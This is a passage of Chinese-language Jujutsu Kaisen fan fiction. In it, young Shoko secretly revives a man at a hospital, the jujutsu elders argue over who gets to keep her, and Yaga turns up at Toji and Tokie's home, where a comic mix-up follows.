以前她总有一个印象,不论人受了什么样的伤,得了什么样的病,只要她还有咒力用的出反转术式,就能对方重新的变得健康。
她遇到的人,对她怀有好意,怀有恶意的人,也都是因此才会对她感激不尽或者想要据为己有。
“对不起......”硝子呐呐地说。
时枝晃过神,“什么对不起......这不是你的错。”
时枝闭上了嘴,想自己如果前两年不要把工作看得那么重,也不要只顾着自己休假的时候出去玩,多陪陪母亲,会不会就不会有这样的结果了。
这样的想法在这段时间里,一直盘旋在她的脑海里。她以为以后有的是时间,结果发现好像还是来不及。
她不珍惜的人和物,就会无情地被时间夺走。
时枝的眼睛又有湿意。
硝子看见一只巨大的蝇头咒灵飞了过来,摇摇晃晃趴在时枝的肩膀上。
时枝似乎有所感知,但是她沉浸悲伤的情绪里,蝇头这种会煽动负面情绪的咒灵,最喜欢这样的宿主,还会催化宿主的情绪。
硝子大着胆子走了过去,拉了拉她的衣服。
时枝以为她有什么话说,深呼吸努力控制情绪,蹲下来看她,“怎么了,硝子酱。”
硝子抿嘴,抱了抱她,趁机手中运转咒力一把拍在蝇头身上。
蝇头被她拍飞了出去,晕头转向撞到了墙上。
时枝被小小软软的女孩抱住。
硝子来之前还洗过澡,现在身上香香的,头发也蓬松柔软。
不知道是不是她的错觉。时枝心头突然轻松了。
她感觉到了从外面照射进来的太阳的暖意,就好像母亲的在天之灵祝福她,驱散了她心头的阴霾。
“谢谢。”时枝带着哭腔说,也抱住了硝子,“谢谢你安慰我。”
虽然甚尔没说好听的,但是他用实际行动分担了责任,虽然硝子没有说话,但是这个拥抱足以宽慰她。
她以后一定会有一个像硝子一样可爱的女儿。
硝子不知所措。
她听见这个不久之前还哭得稀里哗啦,甚至被蝇头缠上的大人用力抱着她说:
“我会振作起来的,更关注还活着的身边人,不会,不会再有这种让我后悔的事情发生了。”
硝子愣住。
……不要再让使自己后悔的事发生。
时枝松开她,“你要不要喝点水吃点东西,好像你过来以后都没吃过饭。”
硝子睁大眼睛看她,“......不用,我,我喝点水就好了。”
时枝给她倒了杯热水。
硝子坐在椅子上小口小口啜饮。
时枝自己也喝了点,她感觉自己哭得缺水了。喝完水以后她觉得自己头痛也缓解了一些。
甚尔这时候回来了,看时枝的状态好了不少,语气也更柔和:“人还要等一会儿来,外面人太多堵车了。”
时枝疑惑,“发生什么事了?”
甚尔摸了摸鼻子,“昨天久保公园好像出事了,有很多人被送来,还有他们的家人也来了。”
硝子抬头看甚尔,甚尔装作什么都不知情的样子。
“这样啊......”时枝不再多问了。
硝子坐立难安,终于说:“我想出去上厕所。”
她匆匆忙忙跑出去,时枝都还没反应过来。
“我过去看一眼,她可能找不到洗手间。”
甚尔立刻说。他不知道她要干什么,但肯定不是上厕所,反正不能让她乱跑。
“嗯嗯,你去吧。”时枝也觉得现在医院人多的话,孩子最好有个大人看着。
甚尔追了出去,硝子还没有走多远。
“你要干什么。”
甚尔的问话相当直接有压迫力。
硝子停下来,欲言又止地瞟他好几眼,她倒是有点习惯甚尔的凶了,“我想去看久保公园送过来的人。”
甚尔:......
“你知道自己身份不能乱跑对吧。”
硝子点点头,低着头。
甚尔烦躁地挠头,意识到现在的情形像他欺负小孩子。
如果不是因为硝子暴露会让他们遭殃,甚尔原本不想管她,她爱做什么就做什么。现在他带硝子来医院的初衷已经消失了。
“如果你治好他们太显眼,很容易被那些人发现不对劲,我最多只能带着你过去看一眼。”
硝子抬头,眼睛发光。
“我就只帮助他们尽快恢复,不会彻底治好!”
甚尔头痛,“别想那么多!”
——能不能有机会治还是个问题,医院的抢救室他们又进不去。
甚尔带着硝子来到了医院的急诊科,医院有好几栋楼,都把硝子绕晕了。
他原本以为急诊这边会人满为患,但是来了以后感觉还好。
排队的人大部分看起来没那么严重——当然也有可能是还能站着的人本来就不严重。
硝子试图光明正大不违和的偷看急诊室的患者怎么样,几次下来终于被医生发现,大喊:“谁家的小孩请带走!”
甚尔出现,把她夹在腋下带走了。
“没有你之前,咒术师受伤能上医院的也是上医院,不能上医院的想办法找药吃,连药也没办法拿到的就硬挨。
“要不然就是想办法钻研反转术式,除了这几样没其他的方法。”<
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p>甚尔把她拉到角落里说。
而且他看了一圈,没什么受伤很严重的人。
甚尔回想了一下昨天晚上他遇到的咒术师,有些体术马马虎虎还能看,但是大部分人的术式其实都没什么杀伤力。
那个操纵鸟的似乎没有操纵猛禽的能力,小鸟主要就是烦人;那个用人偶的有点意思,但是还没到轻松杀人的地步。能轻松杀人的应该只有那个高个子,危害最大的则是会放火的,不过他们后面都干不了坏事了。
硝子也想起来自己昨晚的遭遇,打了个激灵,“真的吗?”
急诊的大门忽地被撞开。
“让开让开!!!”
医护人员推着担架床疾驰而过。
硝子还没有追上去,他们就已经进入了抢救室。
抢救室的红灯亮起。
她跑的速度减慢,最后定定地站在那里,无措地给穿着白褂的人让开路。
“……其实他们不需要我?”硝子想。
甚尔实在不明白她在纠结什么。
如果想要回归普通的生活,其实强大的能力是阻碍。如果硝子想要平凡的度过这一生,最好的方式就是以后不要再使用反转术式了。
就像他,他觉得自己以后,大概也不会再去黑市接任务。
就平凡的当一个家庭煮夫。
虽然昨晚的生活确实让他感受到久违的热血沸腾。
一个女人连话都说不清楚赶到。
“我,我的丈夫,刚刚被送来的,他,他现在怎么了!!”
“请你稍稍冷静一下,”护士想让她不要这么激动,“已经在抢救了。”
昨晚久保公园出事,虽然不知道具体发生了什么,但是那个人应该是因踩踏事件才陷入生命危机。
硝子看着情绪激动女人,又看了眼抢救室的大门。
医生从抢救室里走出来,女人见状跑了过来。
“我的丈夫怎么样了?”
医生沉默着摇摇头。
人送来的时候已经没呼吸了,刚刚他们上了仪器也没有效果。
盖着白布的床缓缓从大门里推出来,依稀可见有人形。
硝子站在通道的角落里,甚尔陪她站着。
女人泪如雨下,扑到床上,男人的手臂从床边垂落。
“x先生,你睁开眼睛看我一下啊!”
“难道就要抛弃我离开人世了吗?”
“x先生、x先生!”
硝子看着那摇晃的手臂,冲动让她伸手碰了一下。
“......咳!咳咳咳!!”
盖上了白布的死者突然咳嗽,周围的人被吓了一跳。
这一幕震惊了在场所有人,一瞬间空气都安静了。
“快!回抢救室!”
医生发号施令。
所有推着床的护士,紧急把患者又倒退推回。
咕噜噜的车轮声这次带来的匆忙感,让所有人都觉得压抑着喜悦。
旁观者如此感叹道:“这难道就是真爱的力量吗?”
女人这才反应过来,无措地张着手。
最后她高兴地原地跳了两下。
甚尔看着硝子,硝子看着自己的手。
硝子猛吸了一口气,精神烁烁地抬头。
13. 相遇第13天
救人就只是救人。
仅此而已。
其他人可能单纯以为那个男人是假死状态,但是甚尔知道不是。
尸体复活这件事实在匪夷所思,即使是普通人视角里的“假死复活”也很令人震惊了。
甚尔也没想到硝子居然能做到这种程度,赶紧趁周围人不注意把人带走了。
“我现在送你回去。”
为了避免麻烦,甚尔决定立马把硝子送回安全屋。
“啊,”硝子不知所措地看着他,“现在就回去吗?”
甚尔这次没有心软了,“现在就回,我还有事情要忙。”
硝子神情低落,“好吧。”
这时甚尔的手机却响了,甚尔一看,发现是殡仪馆的电话,接通果然是殡仪馆的车到了。
甚尔感到一阵头疼。
而硝子大概还没有想甚尔忙起来,就没时间送她了,有些懵懂地看着他。
甚尔拉过她,“先跟着我走。”
“哦。”硝子看了眼抢救室,跟着他走了。
接下来的事不能说是鸡飞狗跳,但也是手忙脚乱。
甚尔其实也没有办丧礼的经验,倒是见过禅院家的其他人的葬礼,可是禅院家的葬礼流程就更加隆重了,还有特殊仪式,防止被其他咒术师拿走危害禅院家的血脉。不过甚尔并不能分清丧仪里的哪些是“特殊流程”。
司仪过来和他确认流程的时候,甚尔感觉自己的生命得到了拯救。
他和时枝商量过后,选择了承受范围之内的最好的。
时枝看甚尔忙忙碌碌,跑前跑后,甚至都没时间照顾硝子了。
甚尔或许和她的母亲是有一点感情的,但是绝对不会比她更深,他是为了她,所以才会对这些事如此上心。
爱屋及乌,做到这种程度已经是难得的爱重。
时枝想到硝子的父母没有时间照顾她,她也有疑虑,可是甚尔尽心尽力的对待葬礼,那她也会爱屋及乌,对硝子好。
更何况硝子虽然话不多,但确实是个可爱懂事的孩子。
“硝子,甚尔和你父母的关系怎么样?”时枝问。
硝子:“应该不熟吧......”
时枝意识到自己问小孩子这样的问题,似乎有些超纲了。
“今天会很忙,你在这里陪我一阵好不好。”
硝子用力地点点头。
佐藤一家的生活虽然进入了低谷,但是他们这也是他们重新开始的契机。
而于此同时,世界的另一个角落,咒术总监会的低气压几乎凝滞。
这是一场难得咒术总监会所有长老都在的紧急会议。
御三家五条、禅院、加茂的家主全部出席,除此之外还有咒术界所有有资格出现这里的家族的家主都在。
“蠢货!!”
满场鸦雀无声。
被骂蠢货的正是昨天晚上,甚尔在别墅里见到的那个中年阴鸷男人。
骂他的就是他家族的户隐家主。
此时户隐家主的心在滴血。
抓住了天生的反转术式,原本是户隐可以更进一步的助力,却没想到现在的因为这个蠢货的散播的委托,闹得人尽皆知。
户隐家主扇完自己的族人,转脸对御三家的家主以及总监会的大长老们说。
“此事我确实不知情,如果知道一定会上报给总监会。总监会想要怎么处理他我毫无怨言,反转术式咒术师也是。”
他尴尬但不失谄媚地赔笑。
“小咒术师需要精心教导,归御三家教养,一定能精雕细琢为美玉。”
五条长老咳了一声,“那是自然。”
谁不希望自己家里有一个反转术式咒术师。这一代的御三家,只有五条家诞生了继承家传术式的“六眼”,毫无疑问该以五条家为首。
禅院直毗人是三个人里最年轻的,脚边躺着个酒葫芦。
“我好像听见总监会那边是不是有什么消息。”
他的姿势还算有威严,可是表情却有些无趣的意味。
这段时间里禅院家一团乱,甚尔离家出走,打伤了一干人等,那些人不敢告诉他,还是直哉胡闹派人出去找他才知道。
虽然他觉得甚尔还不错,比起他父亲好,可是也无力改变禅院家的规则,年轻人还是放出去或许会更好。
“......”总监会的大长老沉默。
“请看看这个。”总监会给他们呈上了一份报纸。
《久保公园突遭天火,致2死10伤》
禅院直毗人看完就给人传阅了。
这种新闻标题,每个咒术界的人都很熟。隐藏咒术师的存在不是一件简单的事,即使每个咒术师都守口如瓶,可是大部分咒术师也又没有隐居,他们对于现实的影响不会凭空消失。
咒术总监会就是咒术界面对人类政府的接洽部门,平时也管理着咒术界的事务,业务由诸多辅助监督和咒术师完成祓除危害社会的咒灵。
有时咒术师造成一些大损失,就会有人类政府打掩护。
总监会的大长老轻轻咳嗽,他对御三家的家主们倒是十分恭敬。
“已经不止是咒术师的事了。今天早晨总监会接到了人类政府的电话,黑市那边流出的消息也到了他们那里。”
咒术师们是可以自由自在,但是面对数量庞大的普通人,他们无力统治,甚至还要依附普通人社会的资源才能满足衣食住行。
如果说以前平安时代,还会设置阴阳寮,权贵也会仰仗咒术师阴阳师等保护京都,那么到现在,他们除了对付咒灵外,几乎已经被排除出政权了。
“他们就算知道了又怎么样,年幼的咒术师还需要咒术界培养。”
五条长老老迈的嗓音在空气中震颤,他说到这里的时候,还是瞪了户隐一眼。
——如果不是他们蠢,被偷走了家传结界术的咒具导致完全找不到反转术式咒术师,又以为可以通过野生咒术师黑市找到对方,哪会有现在的局面。
户隐家主大汗淋漓,悄悄也瞪了下属一眼。
下属左思右想,自己明明放在黑市上的消息是治疗咒具,又不是反转术式咒术师,怎么会让普通人政府知道这回事呢?
禅院直毗人老神在在地说:
“是不能怎么样,他们稍微煽动普通人的恐慌,今年夏天的咒灵就能丰收了。”
加茂家主抽了抽嘴角。
咒灵正是诞生于负面情绪,虽然说咒灵实力和咒术
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师实力有“天”做的平衡,不会出现彻底消灭对方的情形,但还是有调节的余地。比如五条家宝贝六眼出生之后,明明还没有长成,可是咒术界的工作量激增。
加茂家近十年来走下坡路,加茂家主只想尽快生出孩子,指望有个厉害的术式复兴家族,不想掺合这种事。
反正他们家关于血液的术式本来也能起到一定的控制伤情的作用。
五条长老哼了一声却说不出别的话,和直毗人抬起杠,“那你说怎么办?”
禅院直毗人向后摆了摆手。
他们后面坐了不少其他小家族的家主,以及一些有资格参与这场会议的平民咒术师。
“你们听听他们想说什么。”
御三家再强大,咒术界维持基本运转还是要靠这些人。
“五条大人,能否也让我们接受反转术式咒术师的治疗?”
有人大着胆子说。
“对啊对啊,家族子弟日日出任务,如果能获得治疗,就算是在危急时刻保住一条命也好!”
反转术式咒术师一旦真被御三家收养了,那他们就再也沾不到一点了。
“总监会教养也不错的,刚好可以治疗出任务受伤的咒术师!”
“胡闹!”五条长老呵斥,“把她放在总监会?”
刚才叽叽喳喳的人们不说话了,可是现在的寂静却比前面的更加让人心凉心惊。
不知道是谁冷笑了一声,小声说:“还不如去投靠盘星教......”
好歹民间的野生咒术师团体有钱又有闲,就算没有反转术式,也能砸钱获得好的普通人医疗资源,而在总监部干活……
五条长老看向直毗人。
直毗人这个时候却装作什么都没听到了,加茂家主更是两耳不闻身边事。
总监会的大长老心里也慌,脑子急转,想出来了一个点子。
咒术总监会本来就不上不下,实权有一点却没多少,还要承担大量的官方发布的工作,他既不敢得罪普通咒术师,也不敢得罪御三家。
“这样诸位看行不行,反转术式咒术师年纪还小,需要上学,恰好东京校有天元大人在,结界是最完备安全的,而且学校也方便让受伤的咒术师过去医治,不用踏入家族的族地。”
这个主意一出来,场面上的氛围和缓了不少。
“那就这样办吧。”五条长老疲惫。
“挺好,我赞成。”禅院直毗人说。
“我也赞成。”加茂家主说。
“那我就去联系东京校的校长了,让他们派老师去政府那边接洽。”
————
又是阳光明媚,微风和煦的一天。
夜蛾正道出现在了街道上,他有着肌肉发达的身材,异常强大的气势,还有一副黑墨镜。
路过买菜的阿姨被他吓了一跳,连忙握紧菜篮离开。
“现在的科技发展,还真是快。”
夜蛾正道操纵着小小的手机,屏幕里是一段监控录像。
是的,咒术师的手段找不到人,但是这段时间根据普通人警察的走访调查和调取监控,已经大致确定了这段时间里小咒术师的活动范围。
此时街道上萧索。明明刚才还很热闹的。
14.相遇第14天
“硝子酱不在吗?”
坂本太太敲开了佐藤家的门。
“硝子已经回家了。”时枝不好意思地说,给坂本太太让位置。
“嗯......”跟在坂本太太身边的坂本花很失望。
她真的很喜欢硝子姐姐。
时枝也是前几天刚和坂本太太熟络起来的,坂本太太全名坂本葵,长相可爱温柔。
甚尔正在厨房忙活,听见坂本太太来访提起硝子,心情复杂到了极点。
办葬礼的那天,甚尔跟着殡仪车去了殡仪馆,没空带硝子。时枝不忍心让一个孩子一天都呆在医院和殡仪馆,所以就带着硝子回家了。
恰好她的异常被坂本太太看见,坂本太太安慰了她,而坂本花和硝子的年纪差不多,恰好能玩到一起。
甚尔知道这件事的时候已经晚了。他胡乱编造的谎话,让他根本没有合适的理由阻止时枝,而另一个知情人孔时雨,更是不能在时枝面前出现把硝子带走。
——算了算了。
甚尔脸皱在一起。
总归那天见到硝子的咒术师都已经死了,而且他们也用咒具消除了物品与自己的神秘学联系。
而且当天晚上,甚尔就把硝子送回了安全屋,应该不会出什么事的。
“时枝,你知道最近有极道组织的人在附近活动吗?”
坂本太太和时枝聊着天,花酱好奇地在房子里看。
“啊,有吗?我这几天没有注意。”
时枝有点担忧,“以前没听说过我们这里有,这边治安好像还不错的,极道组织......会不会影响你家的生意。”
“是啊,我也有点担心。”
坂本太太说。
“那天我出去进货,回来的时候看到了对方站在店门口,可是把我吓到了。”
甚尔:......
他看了坂本太太一眼。
有她老公那个胖胖的坂本在,极道组织想要收他们超市的保护费约等于送命。
“街区里有陌生人真的很危险,”时枝说,“如果小孩因此出事的话真不敢想,最近要把花酱看好。”
本街区的孩子还算比较多,平时就能在街道上见到四五个小孩跑来跑去,有的时候拿着气球,有的时候拿着玩具。
坂本太太也赞同。
“平时我和太郎还忙得过来,还要照看花的话,精力就有些不够。所以太郎新招了一个理货员来,多一个男生应该会安全些。
“前段时间就是他帮着太郎整理了倒地的货架,手脚麻利品德也很好。”
甚尔的手一顿。
蛋黄“咚”得砸进面粉,一阵白雾扑面。
花酱跑到了厨房,趁机拿走了一颗鸡蛋。
“那就好,你们夫妻两个平时就很辛苦了,”时枝说,“你是看到什么样的极道组织的人。”
“是那种随身带着棍子或者其他什么武器,染着黄头发的人吗?”
时枝想要详细问问,方便以后避开。
坂本太太连忙摆手。
“你说的那个人就是我们新招的理货员阿信。”
“叮咚——”
甚尔在围裙上擦了擦手,走过去开了门。
染着黄头发,手里拿着不明物体的青年就站在门口,正是甚尔那天见到的黄毛。
被坂本打得很惨的黄毛。
而且听坂本太太说的后续,还是被打得很惨后,帮坂本收拾残局的黄毛。
“......你来找坂本太太?”甚尔说。
阿信唰的炸毛了,“怎么是你!”
“我不在我家还在哪。”甚尔对他的色厉内荏嗤笑了一声。
“阿信,有什么事吗?”坂本太太起身问。
“葵姐,大哥让我来问一下这个箱子里的是什么,上货要记什么价。”阿信连忙说,走到了客厅里。
“哦哦,我来看看。”
坂本太太打开了那个装着不明物体的纸箱,“这个啊......”
他们两个在那里交流,花酱跑到时枝面前,示意她把手张开。
时枝不明所以,摊开手心,花酱把鸡蛋把那颗鸡蛋放到了她的手心里。
“为什么把鸡蛋给我?”时枝问。
“电视上说鸡蛋可以孵出小鸡,”花酱说,“用手的温度就可以,佐藤阿姨。”
时枝被小孩子的奇思妙想逗笑了,“如果要孵鸡蛋,手还要做其他的事,不能一天到晚都拿着它,这要怎么办?”
“嗯……”花酱踌躇,“可是不试试怎么知道。”
坂本太太和阿信说完话,转头看到花酱,“花酱,把鸡蛋放到厨房,不能没经过允许乱拿东西。”
“只是一颗鸡蛋,没什么的。”时枝不希望花酱因为小事被说。
花酱扬起头,对坂本太太说:“我现在经过阿姨允许了!”
坂本太太无奈。
阿信抱着箱子离开,临走之前没忍住又打量了一眼甚尔。
甚尔穿着粉色花边围裙,在厨房里忙活。
甚尔见到他看自己,举起了手里搅拌面粉和鸡蛋的筷子。好像他不走,那双筷子就会立马插到他的头上。
阿信打了个寒颤,飞快跑走了。
“阿信,下次拿一件问就行了,不用抱整箱!”
坂本太太连忙说。
“噢噢!好的葵姐!”
坂本太太叉腰叹气,走过去把门关上,“慌里慌张的,阿信还是有些腼腆了。”
“我刚工作的时候,也是经常慌里慌张,犯一些令人无语的小错。”时枝笑了笑。
“年轻人啊……刚才聊到哪了,”坂本太太找刚才的话题,“那些人的长相是吧?”
时枝点头,“对,不是染发的混混,那是纹身男子吗?”
坂本太太苦恼了一下,“纹没纹身我倒是忘了,但是对方的个子很高,穿着一身黑衣服,还戴着黑墨镜。”
时枝想象对方的模样,“会不会是路过的普通人。”
“不不,他说话和普通人不一样,气质也非常极道。”坂本太太冥思苦想。
“和甚尔比呢?”时枝见她描述不出来,拉出来甚尔当例子。
甚尔:……
和他比?
甚尔自然而然地挺起了脊梁,然后在坂本太太看他的时候又缩了回去。
“身高好像是差不多的,但是对方好像有点驼背,也不确定,好像肌肉练得好的人都会有一点,”坂本太太努力回忆,“声音的低沉程度应该差不多……不,可能还要再低一点。”
“笃笃笃。”
佐藤家的门又被敲响了。
坂本太太的回忆被打断,她刚好站在门附近,顺手打开了房门。
房门外松垮地站着一个穿着黑衣服,戴着黑墨镜的高个子男性,肌肉虽然不夸张,但仍然可见锻炼痕迹。
“呦西——这里是佐藤宅?”
对方说。
坂本太太被吓了一跳,“你……你……”
“我走错了?”阿龙后退一步看门牌,脚上的拖鞋呼啦作响,“你是坂本超市的坂本太太。”
时枝连忙走过来,“我在这里。”
她也看到了这么一个十分极道的男性,还真是……很有极道气质,仿佛混了十年江湖,虽然脸上没有像甚尔有道疤。
“请问你是?”
“我前天刚搬来,前来拜访。”阿龙低沉的声音仿佛要把胸腔震破了,“这是伴手礼。”
他把手里的精致包装的小礼盒,塞到了佐藤时枝的怀里。
“我和我的妻子美华,以后要拜托大家罩了!”
“不用这么……正式,大家都是邻居。”
时枝领略了坂本太太所说的“语言特色”。
坂本太太和花酱却没太大反应,花酱还在玩,坂本太太尴尬不失礼貌地笑了笑。
“请问你怎么称呼呢?”时枝问。
“叫我阿龙就好。”
坂本太太突然问了一句。
“阿龙先生现在是在做什么工作?”
“……家庭煮夫,” 阿龙抹了一把头发,“我家里妻子养家!”
“原来是家庭煮夫啊。”
坂本太太抚着胸口。
“原来也是家庭煮夫啊!”时枝十分高兴,“我家甚尔也是。”
“噢——很好,那我们有空,就可以切磋手合。”阿龙说。
甚尔也走过来了,探头。
“我指的是厨艺,”阿龙补充。
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“时间紧迫,我要抓紧去下一家了。”
阿龙和这家人告别,双手插兜离开。
门关上,坂本太太舒了好大一口气。
“我听到他的名字,想起来他是谁了。”
“是谁?”时枝也没听说附近过有很有名的,名字里有龙的人。
“就是他们说的那个什么不死之龙。”
坂本太太说,“几年前两个极道组织火并,其中有个人很厉害,每次打架最凶的,受伤最重,但都能活下来,所以才有这么个外号。”
他们开超市,经常会和各种人打交道,偶尔去到别的街区时就听过这件事。
“……有这样的过去,也还是选择结婚好好安顿了下来了。”
时枝摸了摸下巴,想来想去也就只有一个答案,“只要现在是好人就行了。”
甚尔在看阿龙送来的伴手礼。
伴手礼传出来的炼乳的气味,不出意外的话应该是甜品。
时枝也想起来还有这个东西,提议道:
“我们拆开来看看是什么吧。”
甚尔直接就动手了,他倒是要看看这个人究竟厨艺有多好。
礼盒里躺着的是小熊饼干,色泽均匀而金黄,带着一点点微微的焦香和奶香,甚至还有一点热气,应该就是今天上午刚烤的。
“卖相还不错!”时枝惊讶,她拿了一块尝了尝,“味道也不错,是原味饼干。”
她顺手分给坂本太太,也给看着不怎么高兴的甚尔塞了一口。
“真看不出来,他手艺是真的好。”坂本太太也为阿龙的手艺折服。
甚尔:……
时枝拍了拍甚尔的肩膀。
“你只是没做过饼干,你做的话肯定会比他更好的。”
坂本太太看着他们俩笑了。
时枝也给了花酱,她不是很喜欢吃甜的,至于甚尔,他现在浑身冒酸气,不如给小孩子吃了。
花酱吃了一口后就哼哼唧唧,时枝问她怎么了。
“很好吃我还想吃,可是还有硝子姐姐。”
时枝刮了一下她的鼻子,“没事的,吃吧,如果硝子姐姐还来,我还会给她好吃的。”
“笃笃笃。”又是三声。
“今天你家人好多啊,”坂本太太笑着说,“是不是阿龙又回来了。”
大家敲门虽然都是敲三声,但听起来就有个人特色的。
甚尔去开了门,久久门口没有声音。
时枝还正在和花酱说话,感觉到异常转头看过去。
门口站着一个肌肉虬结,虎背熊腰的男人。
穿着黑色衣服,戴着黑色墨镜,身上的气质十分危险。
“你好。”
夜蛾正道伸出手,“我是东京校的老师,来找——”
甚尔一把把他的手握住,打断了他的话,眯着眼睛看他,“我家没有十几岁的小孩。”
时枝有些警惕,甚尔还在门口没有动,也没有让那个人进来。
“不,我不是来入学招生的,”夜蛾正道感受到手上的力量,知道面前这个男人应该就是“术式杀手”,据说是从禅院家出来的,“我想说的是家入硝子。”
甚尔冷眼看着他,但似乎因为他是学校的人,没有太多动作。
时枝看着两个人之间玄妙的气氛。他们似和谐,但又似乎有冲突,惊呼:
“你……是硝子的爸爸?你是甚尔的叔叔家入先生?”
夜蛾正道一头雾水,“我——”
“你是。”
甚尔加重了力道,嘴角上翘,像好哥俩一样,拍了拍夜蛾正道的后背。
夜蛾正道突遭重击,差点吐血。
“呃,嗯,是,我叫家入正道,这是我的名片。”
时枝接过他的名片。
她没想到硝子过来的那一天,能够缓和甚尔和他家人的关系。虽然她不知道他们是怎么闹矛盾的,但是如果世界上能够多几个关心甚尔,总比少几个人要好。
“嗯……名片怎么是夜蛾正道。”
时枝抬头,眼睛里充满真挚的疑惑。
甚尔也看着夜蛾正道,“对啊,为什么是夜蛾正道?”
“我离婚改过来了。”
夜蛾正道大汗淋漓。